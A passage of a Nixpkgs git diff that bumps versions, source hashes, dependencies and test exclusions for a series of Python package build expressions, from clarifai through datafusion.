+ version = "10.2.0"; pyproject = true; disabled = pythonOlder "3.8"; @@ -20,7 +20,7 @@ buildPythonPackage rec { owner = "Clarifai"; repo = "clarifai-python-grpc"; rev = "refs/tags/${version}"; - hash = "sha256-wQhTPqqSSWQCguI6UC/meFLcDZpGGCZZ44VvTklb/SQ="; + hash = "sha256-DriHPROCDdzqtqtGgUr0Ls/QBtDYPVhCFTeFePwoHQU="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/clarifai/default.nix b/pkgs/development/python-modules/clarifai/default.nix index 2564b168cfe79..05a86d09ee772 100644 --- a/pkgs/development/python-modules/clarifai/default.nix +++ b/pkgs/development/python-modules/clarifai/default.nix @@ -1,23 +1,29 @@ { lib , buildPythonPackage -, fetchFromGitHub -, pythonOlder -, setuptools , clarifai-grpc +, fetchFromGitHub +, inquirerpy +, llama-index-core , numpy , opencv4 +, pandas , pillow +, pycocotools +, pypdf +, pytestCheckHook +, pythonOlder +, pythonRelaxDepsHook , pyyaml , rich , schema +, setuptools , tqdm , tritonclient -, pytestCheckHook }: buildPythonPackage rec { pname = "clarifai"; - version = "9.11.1"; + version = "10.1.0"; pyproject = true; disabled = pythonOlder "3.8"; @@ -26,36 +32,59 @@ buildPythonPackage rec { owner = "Clarifai"; repo = "clarifai-python"; rev = "refs/tags/${version}"; - hash = "sha256-fVari/SnrUnEbrYefV9j2yA/EMJoGiLOV7q/DrS0AQ8="; + hash = "sha256-/2PIsSsYr/R7DuTX/ndBAOX7C3IaFqPw16ZAX8E1Vk8="; }; + pythonRelaxDeps = [ + "clarifai-grpc" + ]; + + pythonRemoveDeps = [ + "opencv-python" + ]; + nativeBuildInputs = [ + pythonRelaxDepsHook setuptools ]; propagatedBuildInputs = [ clarifai-grpc + inquirerpy + llama-index-core numpy - tqdm opencv4 - tritonclient - rich - schema + pandas pillow + pypdf pyyaml + rich + schema + tqdm + tritonclient ]; + passthru.optional-dependencies = { + all = [ + pycocotools + ]; + }; + nativeCheckInputs = [ pytestCheckHook ]; + preCheck = '' + export HOME=$(mktemp -d) + ''; + disabledTests = [ - # require network access and API key + # Test requires network access and API key "test_export_workflow_general" ]; disabledTestPaths = [ - # require network access and API key + # Tests require network access and API key "tests/test_app.py" "tests/test_data_upload.py" "tests/test_model_predict.py" @@ -63,14 +92,18 @@ buildPythonPackage rec { "tests/test_search.py" "tests/workflow/test_create_delete.py" "tests/workflow/test_predict.py" + "tests/test_rag.py" + "clarifai/models/model_serving/repo_build/static_files/base_test.py" ]; - pythonImportsCheck = [ "clarifai" ]; + pythonImportsCheck = [ + "clarifai" + ]; meta = with lib; { description = "Clarifai Python Utilities"; homepage = "https://github.com/Clarifai/clarifai-python"; - changelog = "https://github.com/Clarifai/clarifai-python/releases/tag/${src.rev}"; + changelog = "https://github.com/Clarifai/clarifai-python/releases/tag/${version}"; license = licenses.asl20; maintainers = with maintainers; [ natsukium ]; }; diff --git a/pkgs/development/python-modules/cli-helpers/default.nix b/pkgs/development/python-modules/cli-helpers/default.nix index faf20403e62b3..409f2c004c2cb 100644 --- a/pkgs/development/python-modules/cli-helpers/default.nix +++ b/pkgs/development/python-modules/cli-helpers/default.nix @@ -13,7 +13,7 @@ buildPythonPackage rec { pname = "cli-helpers"; - version = "2.3.0"; + version = "2.3.1"; format = "setuptools"; disabled = pythonOlder "3.6"; @@ -21,7 +21,7 @@ buildPythonPackage rec { src = fetchPypi { pname = "cli_helpers"; inherit version; - hash = "sha256-5xdNADorWP0+Mac/u8RdWqUT3mLL1C1Df3i5ZYvV+Wc="; + hash = "sha256-uCqJg87uIfGA5v0N23yo2uQ8QOkglR44F/mWqyBNrmo="; }; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/click-default-group/default.nix b/pkgs/development/python-modules/click-default-group/default.nix index 043627b0501e9..49422099ad78c 100644 --- a/pkgs/development/python-modules/click-default-group/default.nix +++ b/pkgs/development/python-modules/click-default-group/default.nix @@ -1,41 +1,45 @@ { lib , buildPythonPackage -, fetchFromGitHub -, fetchpatch , click +, fetchFromGitHub , pytestCheckHook +, pythonOlder +, flit-core }: buildPythonPackage rec { pname = "click-default-group"; - version = "1.2.2"; - format = "setuptools"; + version = "1.2.4"; + pyproject = true; + + disabled = pythonOlder "3.7"; - # No tests in Pypi tarball src = fetchFromGitHub { owner = "click-contrib"; repo = "click-default-group"; - rev = "v${version}"; - sha256 = "0nk39lmkn208w8kvq6f4h3a6qzxrrvxixahpips6ik3zflbkss86"; + rev = "refs/tags/v${version}"; + hash = "sha256-9Vk4LdgLDAWG2YCQPLKR6PIVnULmpOoe7RtS8DgWARo="; }; - patches = [ - # make tests compatible with click 8 - (fetchpatch { - url = "https://github.com/click-contrib/click-default-group/commit/9415c77d05cf7d16876e7d70a49a41a6189983b4.patch"; - sha256 = "1czzma8nmwyxhwhnr8rfw5bjw6d46b3s5r5bfb8ly3sjwqjlwhw2"; - }) + nativeBuildInputs = [ + flit-core ]; - propagatedBuildInputs = [ click ]; + propagatedBuildInputs = [ + click + ]; - nativeCheckInputs = [ pytestCheckHook ]; + nativeCheckInputs = [ + pytestCheckHook + ]; - pythonImportsCheck = [ "click_default_group" ]; + pythonImportsCheck = [ + "click_default_group" + ]; meta = with lib; { - homepage = "https://github.com/click-contrib/click-default-group"; description = "Group to invoke a command without explicit subcommand name"; + homepage = "https://github.com/click-contrib/click-default-group"; license = licenses.bsd3; maintainers = with maintainers; [ jakewaksbaum ]; }; diff --git a/pkgs/development/python-modules/clickgen/default.nix b/pkgs/development/python-modules/clickgen/default.nix index 7711d08e69f1c..a01ef55fd6423 100644 --- a/pkgs/development/python-modules/clickgen/default.nix +++ b/pkgs/development/python-modules/clickgen/default.nix @@ -14,7 +14,7 @@ buildPythonPackage rec { pname = "clickgen"; - version = "2.2.0"; + version = "2.2.1"; format = "setuptools"; disabled = pythonOlder "3.8"; @@ -23,7 +23,7 @@ buildPythonPackage rec { owner = "ful1e5"; repo = "clickgen"; rev = "refs/tags/v${version}"; - hash = "sha256-mae/bO6aAMyYw42FYNlLMWm/ZC92LDgWVSSRKGR0tFM="; + hash = "sha256-vn30N2BoqqoFjGjWD0KQIuuPoypocIK+R0FI09KwDog="; }; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/clickhouse-connect/default.nix b/pkgs/development/python-modules/clickhouse-connect/default.nix index b44188ffcc71d..b51949f73a13d 100644 --- a/pkgs/development/python-modules/clickhouse-connect/default.nix +++ b/pkgs/development/python-modules/clickhouse-connect/default.nix @@ -23,7 +23,7 @@ }: buildPythonPackage rec { pname = "clickhouse-connect"; - version = "0.7.0"; + version = "0.7.1"; format = "setuptools"; @@ -33,7 +33,7 @@ buildPythonPackage rec { repo = "clickhouse-connect"; owner = "ClickHouse"; rev = "refs/tags/v${version}"; - hash = "sha256-RpuBKdjjSjJJ9UU7VW20gD9Rouj0oxv72sZZaUa/BfY="; + hash = "sha256-Qdv0DcdIjqz8NtyMsVNQxGTxsB3TpXUGDA3oL8QbBDc="; }; nativeBuildInputs = [ cython_3 ]; diff --git a/pkgs/development/python-modules/cloudflare/default.nix b/pkgs/development/python-modules/cloudflare/default.nix index 8b19ef81bf708..1bfdafaba5a4a 100644 --- a/pkgs/development/python-modules/cloudflare/default.nix +++ b/pkgs/development/python-modules/cloudflare/default.nix @@ -12,14 +12,14 @@ buildPythonPackage rec { pname = "cloudflare"; - version = "2.18.2"; + version = "2.19.2"; pyproject = true; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-F8eNXUUEsTG/Qas9+UzmAtJaHrLxst9kQZV2C3LmTD8="; + hash = "sha256-ENS5ayrd7gffo2meChZ9930qjVq3+G5lkOqm6ofW3Bg="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/cloudpathlib/default.nix b/pkgs/development/python-modules/cloudpathlib/default.nix index b76de3717bf48..89f5ef6fbf5c2 100644 --- a/pkgs/development/python-modules/cloudpathlib/default.nix +++ b/pkgs/development/python-modules/cloudpathlib/default.nix @@ -21,7 +21,7 @@ buildPythonPackage rec { pname = "cloudpathlib"; - version = "0.17.0"; + version = "0.18.1"; pyproject = true; disabled = pythonOlder "3.7"; @@ -30,7 +30,7 @@ buildPythonPackage rec { owner = "drivendataorg"; repo = "cloudpathlib"; rev = "refs/tags/v${version}"; - hash = "sha256-rj8v4EUMPdB5zmbP4VQli2H6GjDor3BHaA95GwoKS5E="; + hash = "sha256-RrdRUqQ3QyMUpTi1FEsSXK6WS37r77SdPBH1oVVvSw0="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/cloudsmith-api/default.nix b/pkgs/development/python-modules/cloudsmith-api/default.nix index 5e6aac6ff13b5..efc930341be2d 100644 --- a/pkgs/development/python-modules/cloudsmith-api/default.nix +++ b/pkgs/development/python-modules/cloudsmith-api/default.nix @@ -10,7 +10,7 @@ buildPythonPackage rec { pname = "cloudsmith-api"; - version = "2.0.7"; + version = "2.0.10"; format = "wheel"; disabled = pythonOlder "3.7"; @@ -18,7 +18,7 @@ buildPythonPackage rec { src = fetchPypi { pname = "cloudsmith_api"; inherit format version; - hash = "sha256-Vw5ifMJ+gwXecYjSe8QKkq+RtrBWxx3B/LdA80ZxuxU="; + hash = "sha256-h193MX8W12dYQnUVG20iWiSnnIFMdUc4amhJ7rGqb/4="; }; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/cloup/default.nix b/pkgs/development/python-modules/cloup/default.nix index 1efe85a5dca41..ad66af8123bf5 100644 --- a/pkgs/development/python-modules/cloup/default.nix +++ b/pkgs/development/python-modules/cloup/default.nix @@ -10,14 +10,14 @@ buildPythonPackage rec { pname = "cloup"; - version = "3.0.4"; + version = "3.0.5"; format = "setuptools"; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-ZYER4vSbglaoItrF+gIFv2QQn978Q185kjSQoysT7Ak="; + hash = "sha256-ySsmHHu34TAEkw8/tLPtrY3i0fEplNzdvgW8IZkEQ8U="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/coffea/default.nix b/pkgs/development/python-modules/coffea/default.nix index b990801ab5641..3f5de521b0a87 100644 --- a/pkgs/development/python-modules/coffea/default.nix +++ b/pkgs/development/python-modules/coffea/default.nix @@ -1,29 +1,30 @@ { lib , buildPythonPackage +, pythonOlder , fetchFromGitHub , hatchling , hatch-vcs , awkward -, uproot +, cachetools +, cloudpickle +, correctionlib , dask , dask-awkward , dask-histogram -, correctionlib -, pyarrow -, fsspec +, fsspec-xrootd +, hist +, lz4 , matplotlib +, mplhep , numba , numpy -, scipy -, tqdm -, lz4 -, cloudpickle -, toml -, mplhep , packaging , pandas -, hist -, cachetools +, pyarrow +, scipy +, toml +, tqdm +, uproot , distributed , pyinstrument , pytestCheckHook @@ -31,19 +32,21 @@ buildPythonPackage rec { pname = "coffea"; - version = "2024.1.0"; + version = "2024.2.2"; pyproject = true; + disabled = pythonOlder "3.8"; + src = fetchFromGitHub { owner = "CoffeaTeam"; repo = "coffea"; rev = "refs/tags/v${version}"; - hash = "sha256-jw8ACKXJZhj4fE7oppTxLUR4mhi+gh2ZD7lnUT3pcwc="; + hash = "sha256-GdoVb9YtlUlrSx7TWWrdHOqOJJ4M+kJspOllv6HgFXk="; }; postPatch = '' substituteInPlace pyproject.toml \ - --replace "numba>=0.58.1" "numba" + --replace-fail "numba>=0.58.1" "numba" ''; nativeBuildInputs = [ @@ -53,28 +56,27 @@ buildPythonPackage rec { propagatedBuildInputs = [ awkward - uproot + cachetools + cloudpickle + correctionlib dask - dask.optional-dependencies.array dask-awkward dask-histogram - correctionlib - pyarrow - fsspec + fsspec-xrootd + hist + lz4 matplotlib + mplhep numba numpy - scipy - tqdm - lz4 - cloudpickle - toml - mplhep packaging pandas - hist - cachetools - ]; + pyarrow + scipy + toml + tqdm + uproot + ] ++ dask.optional-dependencies.array; nativeCheckInputs = [ distributed @@ -89,6 +91,7 @@ buildPythonPackage rec { meta = with lib; { description = "Basic tools and wrappers for enabling not-too-alien syntax when running columnar Collider HEP analysis"; homepage = "https://github.com/CoffeaTeam/coffea"; + changelog = "https://github.com/CoffeaTeam/coffea/releases/tag/v${version}"; license = with licenses; [ bsd3 ]; maintainers = with maintainers; [ veprbl ]; }; diff --git a/pkgs/development/python-modules/cohere/default.nix b/pkgs/development/python-modules/cohere/default.nix index 133721ca4d741..323efb118503f 100644 --- a/pkgs/development/python-modules/cohere/default.nix +++ b/pkgs/development/python-modules/cohere/default.nix @@ -14,25 +14,16 @@ buildPythonPackage rec { pname = "cohere"; - version = "4.37"; - format = "pyproject"; + version = "4.52"; + pyproject = true; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-eIAh2dmSxsMdGYXZXMyyd8cmWILErNekmz5H2ne0vsg="; + hash = "sha256-C2w447+hxsFrjLpV3wrSzptuVb1JTyppq+NUzMCU+Iw="; }; - patches = [ - # https://github.com/cohere-ai/cohere-python/pull/289 - (fetchpatch { - name = "replace-poetry-with-poetry-core.patch"; - url = "https://github.com/cohere-ai/cohere-python/commit/e86480336331c0cf6f67e26b0825467dfca5b277.patch"; - hash = "sha256-P1Ioq5ypzT3tx6cxrI3ep34Fi4cUx88YkfJ5ErN3VHk="; - }) - ]; - nativeBuildInputs = [ poetry-core ]; diff --git a/pkgs/development/python-modules/command_runner/default.nix b/pkgs/development/python-modules/command-runner/default.nix index 67fef574f0941..fb8fd94f80308 100644 --- a/pkgs/development/python-modules/command_runner/default.nix +++ b/pkgs/development/python-modules/command-runner/default.nix @@ -1,12 +1,13 @@ { lib, buildPythonPackage, fetchPypi, psutil }: buildPythonPackage rec { - pname = "command_runner"; + pname = "command-runner"; version = "1.6.0"; format = "setuptools"; src = fetchPypi { - inherit pname version; + pname = "command_runner"; + inherit version; sha256 = "sha256-lzt1UhhrPqQrBKsRmPhqhtOIfFlCteQqo6sZ6rOut0A="; }; diff --git a/pkgs/development/python-modules/concurrent-log-handler/default.nix b/pkgs/development/python-modules/concurrent-log-handler/default.nix index 7890eda6b4650..85ee8bda114e6 100644 --- a/pkgs/development/python-modules/concurrent-log-handler/default.nix +++ b/pkgs/development/python-modules/concurrent-log-handler/default.nix @@ -28,6 +28,6 @@ buildPythonPackage rec { description = "Python logging handler that allows multiple processes to safely write to the same log file concurrently"; homepage = "https://pypi.org/project/concurrent-log-handler"; license = licenses.asl20; - maintainers = [ maintainers.lourkeur ]; + maintainers = [ maintainers.bbjubjub ]; }; } diff --git a/pkgs/development/python-modules/connect_box/default.nix b/pkgs/development/python-modules/connect-box/default.nix index b7ba433478b27..b7ba433478b27 100644 --- a/pkgs/development/python-modules/connect_box/default.nix +++ b/pkgs/development/python-modules/connect-box/default.nix diff --git a/pkgs/development/python-modules/constantly/default.nix b/pkgs/development/python-modules/constantly/default.nix index bee00f7d4fa2b..a4bce3f399e46 100644 --- a/pkgs/development/python-modules/constantly/default.nix +++ b/pkgs/development/python-modules/constantly/default.nix @@ -23,7 +23,7 @@ let owner = "twisted"; repo = "constantly"; rev = "refs/tags/${version}"; - hash = "sha256-HTj6zbrCrxvh0PeSkeCSOCloTrVGUX6+o57snrKf6PA="; + hash = "sha256-yXPHQP4B83PuRNvDBnRTx/MaPaQxCl1g5Xrle+N/d7I="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/courlan/default.nix b/pkgs/development/python-modules/courlan/default.nix index d906f44c0f16f..f6676d4b6896f 100644 --- a/pkgs/development/python-modules/courlan/default.nix +++ b/pkgs/development/python-modules/courlan/default.nix @@ -10,14 +10,14 @@ buildPythonPackage rec { pname = "courlan"; - version = "0.9.5"; + version = "1.0.0"; format = "setuptools"; disabled = pythonOlder "3.6"; src = fetchPypi { inherit pname version; - hash = "sha256-ONw1suO/H11RbQDVGsEuveVD40F8a+b2oic8D8W1s1M="; + hash = "sha256-PDVRHDZSXLL5Qc1nCbejp0LtlfC55WyX7sDBb9wDUYM="; }; propagatedBuildInputs = [ @@ -35,11 +35,12 @@ buildPythonPackage rec { "test_urlcheck" ]; - # nixify path to the courlan binary in the test suite + # tests try to write to /tmp directly. use $TMPDIR instead. postPatch = '' substituteInPlace tests/unit_tests.py \ --replace "\"courlan --help\"" "\"$out/bin/courlan --help\"" \ - --replace "courlan_bin = \"courlan\"" "courlan_bin = \"$out/bin/courlan\"" + --replace "courlan_bin = \"courlan\"" "courlan_bin = \"$out/bin/courlan\"" \ + --replace "/tmp" "$TMPDIR" ''; pythonImportsCheck = [ "courlan" ]; @@ -48,7 +49,7 @@ buildPythonPackage rec { description = "Clean, filter and sample URLs to optimize data collection"; homepage = "https://github.com/adbar/courlan"; changelog = "https://github.com/adbar/courlan/blob/v${version}/HISTORY.md"; - license = licenses.gpl3Plus; + license = licenses.asl20; maintainers = with maintainers; [ jokatzke ]; }; } diff --git a/pkgs/development/python-modules/crate/default.nix b/pkgs/development/python-modules/crate/default.nix index fe60eceb93c83..a7e03d3ecad42 100644 --- a/pkgs/development/python-modules/crate/default.nix +++ b/pkgs/development/python-modules/crate/default.nix @@ -1,9 +1,12 @@ { lib , fetchPypi , buildPythonPackage +, fetchpatch , dask , urllib3 , geojson +, verlib2 +, pueblo , pandas , pythonOlder , sqlalchemy @@ -13,20 +16,35 @@ buildPythonPackage rec { pname = "crate"; - version = "0.34.0"; + version = "0.35.2"; format = "setuptools"; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-nEWrfCd2MQCcIM6dLkVYc/cWT5wcT/pvYaY2V3wfuto="; + hash = "sha256-4hGACtsK71hvcn8L9ggID7zR+umtTwvskBxSHBpLyME="; }; + patches = [ + # Fix a pandas issue https://github.com/crate/crate-python/commit/db7ba4d0e1f4f4087739a8f9ebe1d71946333979 + (fetchpatch { + url = "https://github.com/crate/crate-python/commit/db7ba4d0e1f4f4087739a8f9ebe1d71946333979.patch"; + hash = "sha256-20g8T0t5gPMbK6kRJ2bzc4BNbB1Dg4hvngXNUPvxi5I="; + name = "python-crate-fix-pandas-error.patch"; + # Patch doesn't apply due to other changes to these files + excludes = [ + "setup.py" + "docs/by-example/sqlalchemy/dataframe.rst" + ]; + }) + ]; propagatedBuildInputs = [ urllib3 sqlalchemy geojson + verlib2 + pueblo ]; nativeCheckInputs = [ diff --git a/pkgs/development/python-modules/cssbeautifier/default.nix b/pkgs/development/python-modules/cssbeautifier/default.nix index 3144c5114fc29..02f1de52af7e6 100644 --- a/pkgs/development/python-modules/cssbeautifier/default.nix +++ b/pkgs/development/python-modules/cssbeautifier/default.nix @@ -1,34 +1,46 @@ { lib , buildPythonPackage +, editorconfig , fetchPypi -, setuptools , jsbeautifier +, pythonOlder +, setuptools +, six }: buildPythonPackage rec { pname = "cssbeautifier"; - version = "1.14.11"; - format = "pyproject"; + version = "1.15.1"; + pyproject = true; + + disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-QFRMK2K7y2TKpefzegLflWVOXOG8rK2sTKHz3InDFRM="; + hash = "sha256-n3BkNirt1VnFXu7Pa2vtZeBfM0iNy+OQRPBAPCbhwAY="; }; nativeBuildInputs = [ setuptools ]; - propagatedBuildInputs = [ jsbeautifier ]; + propagatedBuildInputs = [ + editorconfig + jsbeautifier + six + ]; - # has no tests + # Module has no tests doCheck = false; - pythonImportsCheck = [ "cssbeautifier" ]; + pythonImportsCheck = [ + "cssbeautifier" + ]; meta = with lib; { description = "CSS unobfuscator and beautifier"; - homepage = "https://pypi.org/project/cssbeautifier/"; + homepage = "https://github.com/beautifier/js-beautify"; + changelog = "https://github.com/beautifier/js-beautify/blob/v${version}/CHANGELOG.md"; license = licenses.mit; maintainers = with maintainers; [ traxys ]; }; diff --git a/pkgs/development/python-modules/cx-freeze/default.nix b/pkgs/development/python-modules/cx-freeze/default.nix index a3c71a2776bcd..4f818bc493399 100644 --- a/pkgs/development/python-modules/cx-freeze/default.nix +++ b/pkgs/development/python-modules/cx-freeze/default.nix @@ -11,7 +11,7 @@ buildPythonPackage rec { pname = "cx-freeze"; - version = "6.15.13"; + version = "6.15.15"; pyproject = true; disabled = pythonOlder "3.8"; @@ -19,7 +19,7 @@ buildPythonPackage rec { src = fetchPypi { pname = "cx_Freeze"; inherit version; - hash = "sha256-VeOgoVrga9dPJ0W9S3Ye/9Ff5yEOlP2DlDf0sDUh1yo="; + hash = "sha256-dMCr5ulaBBXLT79VxiW8JQEml4P6wt0tcetNeOk/Ihk="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/cyclonedx-python-lib/default.nix b/pkgs/development/python-modules/cyclonedx-python-lib/default.nix index 6d5aa4032c2d0..7b04f68692529 100644 --- a/pkgs/development/python-modules/cyclonedx-python-lib/default.nix +++ b/pkgs/development/python-modules/cyclonedx-python-lib/default.nix @@ -23,7 +23,7 @@ buildPythonPackage rec { pname = "cyclonedx-python-lib"; - version = "6.4.1"; + version = "6.4.3"; pyproject = true; disabled = pythonOlder "3.9"; @@ -32,7 +32,7 @@ buildPythonPackage rec { owner = "CycloneDX"; repo = "cyclonedx-python-lib"; rev = "refs/tags/v${version}"; - hash = "sha256-IhiH1Vk/Wf6cTxijxE1erkQozY+vOVd5pu6tAVUoDJM="; + hash = "sha256-9enilHkZ07loBisKObUmVLhJeXgY/HUiVrf2scPFB60="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/dash/default.nix b/pkgs/development/python-modules/dash/default.nix index b99662660d421..99f332b66955f 100644 --- a/pkgs/development/python-modules/dash/default.nix +++ b/pkgs/development/python-modules/dash/default.nix @@ -19,7 +19,6 @@ , typing-extensions , requests , retrying -, ansi2html , nest-asyncio , celery @@ -37,7 +36,7 @@ buildPythonPackage rec { pname = "dash"; - version = "2.14.2"; + version = "2.15.0"; pyproject = true; disabled = pythonOlder "3.6"; @@ -45,8 +44,8 @@ buildPythonPackage rec { src = fetchFromGitHub { owner = "plotly"; repo = "dash"; - rev = "v${version}"; - hash = "sha256-EFEsFgd3VbzlIUiz1fBIsKHywgWrL74taDFx0yIM/Ks="; + rev = "refs/tags/v${version}"; + hash = "sha256-38BOw/CrauT/usVWCI735J0zRf9wzScUgbfGTy5B7ng="; }; nativeBuildInputs = [ @@ -90,7 +89,6 @@ buildPythonPackage rec { typing-extensions requests retrying - ansi2html nest-asyncio ]; diff --git a/pkgs/development/python-modules/dask-awkward/default.nix b/pkgs/development/python-modules/dask-awkward/default.nix index 0875430cc383d..e24b06a23b68c 100644 --- a/pkgs/development/python-modules/dask-awkward/default.nix +++ b/pkgs/development/python-modules/dask-awkward/default.nix @@ -1,19 +1,26 @@ { lib , awkward , buildPythonPackage +, cachetools , dask +, dask-histogram +, distributed , fetchFromGitHub , hatch-vcs , hatchling +, hist +, pandas , pyarrow , pytestCheckHook , pythonOlder , pythonRelaxDepsHook +, typing-extensions +, uproot }: buildPythonPackage rec { pname = "dask-awkward"; - version = "2024.2.0"; + version = "2024.3.0"; pyproject = true; disabled = pythonOlder "3.8"; @@ -22,7 +29,7 @@ buildPythonPackage rec { owner = "dask-contrib"; repo = "dask-awkward"; rev = "refs/tags/${version}"; - hash = "sha256-oBGja1dt9UbHym0c5K/pAMXNErryr3u6IhDRuhwTvG0="; + hash = "sha256-Lkbp/XrDHOekMpT71pbxtuozgzU9iiGF2GJZ+tuV/yM="; }; pythonRelaxDeps = [ @@ -37,13 +44,25 @@ buildPythonPackage rec { propagatedBuildInputs = [ awkward + cachetools dask + typing-extensions ]; + passthru.optional-dependencies = { + io = [ + pyarrow + ]; + }; + checkInputs = [ + dask-histogram + distributed + hist + pandas pytestCheckHook - pyarrow - ]; + uproot + ] ++ lib.flatten (builtins.attrValues passthru.optional-dependencies); pythonImportsCheck = [ "dask_awkward" @@ -54,6 +73,8 @@ buildPythonPackage rec { "test_remote_double" "test_remote_single" "test_from_text" + # ValueError: not a ROOT file: first four bytes... + "test_basic_root_works" ]; meta = with lib; { diff --git a/pkgs/development/python-modules/dask-histogram/default.nix b/pkgs/development/python-modules/dask-histogram/default.nix index 0931cf6060c05..a1a7c64197173 100644 --- a/pkgs/development/python-modules/dask-histogram/default.nix +++ b/pkgs/development/python-modules/dask-histogram/default.nix @@ -10,14 +10,14 @@ buildPythonPackage rec { pname = "dask-histogram"; - version = "2024.2.0"; + version = "2024.3.0"; pyproject = true; src = fetchFromGitHub { owner = "dask-contrib"; repo = "dask-histogram"; rev = "refs/tags/${version}"; - hash = "sha256-YU5i7mGOZxj/pvpkZLwohoSuHJgS3zkHYVuj1Vtyrj4="; + hash = "sha256-RqZMAEGFqEXNmNv7SWCyQw9cI+I+Oa6s8O/7Jp+9id8="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/dask-jobqueue/default.nix b/pkgs/development/python-modules/dask-jobqueue/default.nix index e403545839fd0..dc668ea2639ab 100644 --- a/pkgs/development/python-modules/dask-jobqueue/default.nix +++ b/pkgs/development/python-modules/dask-jobqueue/default.nix @@ -13,14 +13,14 @@ buildPythonPackage rec { pname = "dask-jobqueue"; - version = "0.8.2"; + version = "0.8.5"; format = "setuptools"; disabled = pythonOlder "3.8"; src = fetchPypi { inherit pname version; - hash = "sha256-01QHoFoFNDR8XZWK50m5+FNb7FKYV9ATtuVknN5DkUo="; + hash = "sha256-9pI/nX/4lLlu+/cGEYss03/Td1HVZ+kcIt/T4uqpMgI="; }; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/dask/default.nix b/pkgs/development/python-modules/dask/default.nix index 77f702506136a..5fa73cea10f71 100644 --- a/pkgs/development/python-modules/dask/default.nix +++ b/pkgs/development/python-modules/dask/default.nix @@ -98,7 +98,9 @@ buildPythonPackage rec { # from panda[test] hypothesis pytest-asyncio - ] ++ lib.optionals (!arrow-cpp.meta.broken) [ # support is sparse on aarch64 + ] + ++ passthru.optional-dependencies.dataframe + ++ lib.optionals (!arrow-cpp.meta.broken) [ # support is sparse on aarch64 pyarrow ]; diff --git a/pkgs/development/python-modules/databases/default.nix b/pkgs/development/python-modules/databases/default.nix index bbd16ffb126d9..7cd05be5b8e14 100644 --- a/pkgs/development/python-modules/databases/default.nix +++ b/pkgs/development/python-modules/databases/default.nix @@ -8,23 +8,28 @@ , fetchFromGitHub , pytestCheckHook , pythonOlder +, setuptools , sqlalchemy }: buildPythonPackage rec { pname = "databases"; - version = "0.8.0"; - format = "setuptools"; + version = "0.9.0"; + pyproject = true; - disabled = pythonOlder "3.7"; + disabled = pythonOlder "3.8"; src = fetchFromGitHub { owner = "encode"; - repo = pname; + repo = "databases"; rev = "refs/tags/${version}"; - hash = "sha256-e3iMZBPdldZFuS7FyhbGj9SufnH5hBBt8MEUjixXfqA="; + hash = "sha256-Zf9QqBgDhWAnHdNvzjXtri5rdT00BOjc4YTNzJALldM="; }; + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ sqlalchemy ]; @@ -78,7 +83,5 @@ buildPythonPackage rec { changelog = "https://github.com/encode/databases/releases/tag/${version}"; license = licenses.bsd3; maintainers = with maintainers; [ ]; - # https://github.com/encode/databases/issues/530 - broken = lib.versionAtLeast sqlalchemy.version "2.0.0"; }; } diff --git a/pkgs/development/python-modules/databricks-sql-connector/default.nix b/pkgs/development/python-modules/databricks-sql-connector/default.nix index b0bd083085f3c..1533055f3c890 100644 --- a/pkgs/development/python-modules/databricks-sql-connector/default.nix +++ b/pkgs/development/python-modules/databricks-sql-connector/default.nix @@ -18,7 +18,7 @@ buildPythonPackage rec { pname = "databricks-sql-connector"; - version = "3.0.2"; + version = "3.0.3"; format = "pyproject"; disabled = pythonOlder "3.7"; @@ -27,7 +27,7 @@ buildPythonPackage rec { owner = "databricks"; repo = "databricks-sql-python"; rev = "refs/tags/v${version}"; - hash = "sha256-Uvy5/a9YFdPKpZ3B+Yvrvp7uZCY/My45w1lDqX7zJvI="; + hash = "sha256-pwSDDkBcyaT5+qA/W8v5loi0yXK8R0ugASmbalwYw70="; }; pythonRelaxDeps = [ diff --git a/pkgs/development/python-modules/dataclasses-json/default.nix b/pkgs/development/python-modules/dataclasses-json/default.nix index e50f187c012d5..2718a88379c92 100644 --- a/pkgs/development/python-modules/dataclasses-json/default.nix +++ b/pkgs/development/python-modules/dataclasses-json/default.nix @@ -12,7 +12,7 @@ buildPythonPackage rec { pname = "dataclasses-json"; - version = "0.6.3"; + version = "0.6.4"; format = "pyproject"; disabled = pythonOlder "3.7"; @@ -21,7 +21,7 @@ buildPythonPackage rec { owner = "lidatong"; repo = pname; rev = "refs/tags/v${version}"; - hash = "sha256-UVYLyRVLRdt38obSLkSsQdroO95lwpwzerw+gYBIJ7w="; + hash = "sha256-izNDvljUWw60joi5WfCfoqL5SDM8Jz5Pz+lI/RP35n8="; }; postPatch = '' diff --git a/pkgs/development/python-modules/datafusion/default.nix b/pkgs/development/python-modules/datafusion/default.nix index ed25c032881b5..baf905f11fa71 100644 --- a/pkgs/development/python-modules/datafusion/default.nix +++ b/pkgs/development/python-modules/datafusion/default.nix @@ -9,6 +9,7 @@ , protobuf , pyarrow , Security +, SystemConfiguration }: let @@ -31,7 +32,7 @@ in buildPythonPackage rec { pname = "datafusion"; - version = "25.0.0"; + version = "35.0.0"; format = "pyproject"; src = fetchFromGitHub { @@ -39,13 +40,13 @@ buildPythonPackage rec { owner = "apache"; repo = "arrow-datafusion-python"; rev = "refs/tags/${version}"; - hash = "sha256-oC+fp41a9rsdobpvShZ7sDdtYPJQQ7JLg6MFL+4Pksg="; + hash = "sha256-43XY7j/8x+7SCY4W8nysaeWax2nvTTHZXMmy3hSz6pI="; }; cargoDeps = rustPlatform.fetchCargoTarball { name = "datafusion-cargo-deps"; inherit src pname version; - hash = 